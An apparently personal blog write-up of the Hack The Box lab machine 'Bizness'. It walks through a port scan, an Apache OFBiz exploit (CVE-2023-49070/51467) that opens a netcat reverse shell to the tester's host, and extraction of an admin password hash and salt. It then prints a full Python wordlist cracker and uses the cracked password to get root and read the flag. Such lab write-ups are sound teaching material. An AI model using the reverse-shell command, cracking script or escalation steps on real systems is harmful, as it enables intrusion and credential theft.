Post

Bizness

Detailed Port Scan Results ⤵️

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali🔥kali)-[~/Downloads/HTB/Bizness]
└─$ sudo nmap -sC -sV -T4 -p- -oN Nmap_Results.txt 10.10.11.252 
Nmap scan report for 10.10.11.252
Host is up (0.16s latency).
Not shown: 65427 closed tcp ports (reset), 104 filtered tcp ports (no-response)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp   open  ssl/http   nginx 1.18.0
| tls-nextprotoneg: 
|_  http/1.1
|_http-title: Did not follow redirect to https://bizness.htb/
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
45257/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Exploring the Web Interface ⤵️

Upon conducting a thorough port scan, I discovered various services running on the target machine. Port 80 redirects to bizness.htb, indicating potential web vulnerabilities. By setting the host name in /etc/hosts, I initiated directory traversal and unearthed several directories.

Utilizing an Exploit for CVEs ⤵️

Further investigation led me to an exploit applicable to CVE-2023-49070 and CVE-2023-51467, affecting the target system. Leveraging this exploit allowed me to establish a connection to the victim machine successfully:

Apache-OFBiz Exploit

1
python3 exploit1.py --url http://bizness.htb/ --cmd 'nc -e /bin/bash 10.10.14.31 4444'

Image Checking the Exploit is working or not with a callback. Verification of the exploit’s functionality was conducted, affirming the system’s vulnerability. Subsequently, a reverse shell was obtained to delve deeper into the system.

Image Getting reverse shell from exploit . Now I have a shell lets dig deeper into it ->

Gaining SSH Shell Access ⤵️

During reconnaissance, crucial information was uncovered in a directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ofbiz@bizness:/opt/ofbiz/framework/resources/templates$ ls
ls
AdminNewTenantData-Derby.xml       index.jsp
AdminNewTenantData-MySQL.xml       Menus.xml
AdminNewTenantData-Oracle.xml      ofbiz-component.xml
AdminNewTenantData-PostgreSQL.xml  README.txt
AdminUserLoginData.xml             Screens.xml
build.gradle                       SecurityGroupDemoData.xml
CommonScreens.xml                  SecurityPermissionSeedData.xml
controller.xml                     services.xml
DemoData.xml                       Tests.xml
document.xml                       TypeData.xml
entitymodel.xml                    UiLabels.xml
Forms.xml                          web.xml
HELP.xml

Among the files, AdminUserLoginData.xml contained or housed the hashed password for the admin account.

1
2
3
4
5
6
7
8
9
10
ofbiz@bizness:/opt/ofbiz/framework/resources/templates$ cat AdminUserLoginData.xml
cat AdminUserLoginData.xml
<?xml version="1.0" encoding="UTF-8"?>
...
...
<entity-engine-xml>
    <UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
    <UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>
</entity-engine-xml>
ofbiz@bizness:/opt/ofbiz/framework/resources/templates$ 

This hash {SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a , Although initial decryption attempts failed, persistence led to the discovery of a password salt in .bat format runtime/data/derby/ofbiz/seg0/c54d0.dat , providing crucial insights for password recovery.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ofbiz@bizness:/opt/ofbiz$ strings runtime/data/derby/ofbiz/seg0/c54d0.dat
strings runtime/data/derby/ofbiz/seg0/c54d0.dat
8501
<?xml version="1.0" encoding="UTF-8"?>
            <ofbiz-ser>
                <map-HashMap>
                    <map-Entry>
                        <map-Key>
                            <std-String value="recurrenceInfoId"/>
                        </map-Key>
                        <map-Value>
                            <std-String value="400"/>
                        </map-Value>
                    </map-Entry>
                </map-HashMap>
            </ofbiz-ser>
        
10000
J<?xml version="1.0" encoding="UTF-8"?><ofbiz-ser>
    <map-HashMap>
        <map-Entry>
            <map-Key>
                <std-String value="updatedUserLogin"/>
            </map-Key>
            <map-Value>
                <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
            </map-Value>
        </map-Entry>
        <map-Entry>
            <map-Key>
                <std-String value="locale"/>
            </map-Key>
            <map-Value>
                <std-Locale value="en"/>
            </map-Value>
        </map-Entry>
    </map-HashMap>
</ofbiz-ser>
ofbiz@bizness:/opt/ofbiz$ 

Now I have the salt value that is added with password to generate that hash value of SHA-1 encryption.

1
currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I"

I got a script searching online as the code is a utility for finding a password given its hash value and salt, using brute-force techniques with a wordlist of potential passwords. It makes use of cryptographic techniques like hashing and salting to securely compare potential passwords against the target hash.

Password Decryption and Root Access

Utilizing a Python script designed for hash decryption, I successfully decoded the hashed password, revealing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib
import base64
import os
from tqdm import tqdm

class PasswordEncryptor:
    def __init__(self, hash_type="SHA", pbkdf2_iterations=10000):
        self.hash_type = hash_type
        self.pbkdf2_iterations = pbkdf2_iterations

    def crypt_bytes(self, salt, value):
        if not salt:
            salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
        hash_obj = hashlib.new(self.hash_type)
        hash_obj.update(salt.encode('utf-8'))
        hash_obj.update(value)
        hashed_bytes = hash_obj.digest()
        result = f"${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
        return result

    def get_crypted_bytes(self, salt, value):
        try:
            hash_obj = hashlib.new(self.hash_type)
            hash_obj.update(salt.encode('utf-8'))
            hash_obj.update(value)
            hashed_bytes = hash_obj.digest()
            return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
        except hashlib.NoSuchAlgorithmException as e:
            raise Exception(f"Error while computing hash of type {self.hash_type}: {e}")

def brute_force_hash(search, salt, wordlist):
    encryptor = PasswordEncryptor("SHA1")

    # Get the number of lines in the wordlist for the loading bar
    total_lines = sum(1 for _ in open(wordlist, 'r', encoding='latin-1'))

    # Iterate through the wordlist with a loading bar and check for a matching password
    with open(wordlist, 'r', encoding='latin-1') as password_list:
        for password in tqdm(password_list, total=total_lines, desc="Processing"):
            value = password.strip()

            # Get the encrypted password
            hashed_password = encryptor.crypt_bytes(salt, value.encode('utf-8'))

            # Compare with the search hash
            if hashed_password == search:
                print(f'Found Password: {value}, hash: {hashed_password}')
                return

    print("Password not found in wordlist.")

# Example usage:
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
salt = "d"
wordlist = '/usr/wordlist/rockyou.txt'

# Call the function to brute force the hash
brute_force_hash(search, salt, wordlist)

I tried it and got this password : Password

1
monkeybizness

Elevated Privileges: Root Access ⤵️

Armed with the admin credentials, I escalated privileges to root, gaining unrestricted access to the system. Root privileges granted access to sensitive directories, including the coveted root.txt file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ofbiz@bizness:~$ su root
su root
Password: monkeybizness

root@bizness:/home/ofbiz# cd ~
cd ~
root@bizness:~# whoami
whoami
root
root@bizness:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@bizness:~# ls -al
ls -al
total 28
drwx------  4 root root 4096 Feb 12 05:35 .
drwxr-xr-x 18 root root 4096 Dec 21 09:15 ..
lrwxrwxrwx  1 root root    9 Dec 16 05:21 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  7 root root 4096 Dec 21 09:15 .gradle
drwxr-xr-x  3 root root 4096 Dec 21 09:15 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Feb 12 05:35 root.txt
root@bizness:~# cat root.txt
cat root.txt
d3cba9747437274175d79eb0761a6371
root@bizness:~# 

With root access achieved, the penetration test was successfully concluded, highlighting critical vulnerabilities for remediation.

If you have any questions or suggestions, please leave a comment below. Thank You !

This post is licensed under CC BY 4.0 by the author.